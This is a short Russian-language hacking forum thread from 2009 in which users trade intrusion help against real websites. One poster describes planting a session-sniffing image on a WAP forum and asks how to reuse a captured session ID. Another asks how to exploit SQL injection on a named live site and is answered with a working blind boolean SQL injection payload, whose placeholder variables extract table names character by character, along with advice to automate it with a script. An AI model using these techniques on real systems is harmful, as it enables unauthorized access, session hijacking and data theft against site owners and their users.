Подскажите новичку, пожалуйста.
На одном вап-сайте вставил в форум картинку-сниффер. В логах получаю такие данные: http:/ /sait.ru/member.php?sid=7cda1b46636bc1a8d88898246a615fa6&a= forum&f=4&t=1075&
Переходил по такой ссылке в течение 1й минуты после получения, но почему-то выкидывает на главную страницу.
Можно ли вобще как-то использовать данную информацию?
www.reznik.pri.ee/document.ph_p?id=138
Как узнать скока сталбцоф ? Пробавал черес order by . А union select никак .. Потскожыте
Или приведите пример
эту скулю можно раскрутить толькоподбором, тоесть допустим делаем примерно такой запрс
www.reznik.pri.ee/document.php?id=138 and exists (select table_name from (select table_name from information_schema.tables where table_schema = database() limit [PARAM],1) a where ascii(substr(table_name,[SymbolNumber],1))>[GM])
все что в квадратных скобках - это переменные значения
[GM]- код символа
[Param] - думаю сам догадаешься...
[SymbolNumber] - это номер символа в текущем [Param]
примерно так, если вручную то муторно и долго...
Советую написать скрипт для перебора
Последний раз редактировалось peonix; 10.07.2009 в 00:30..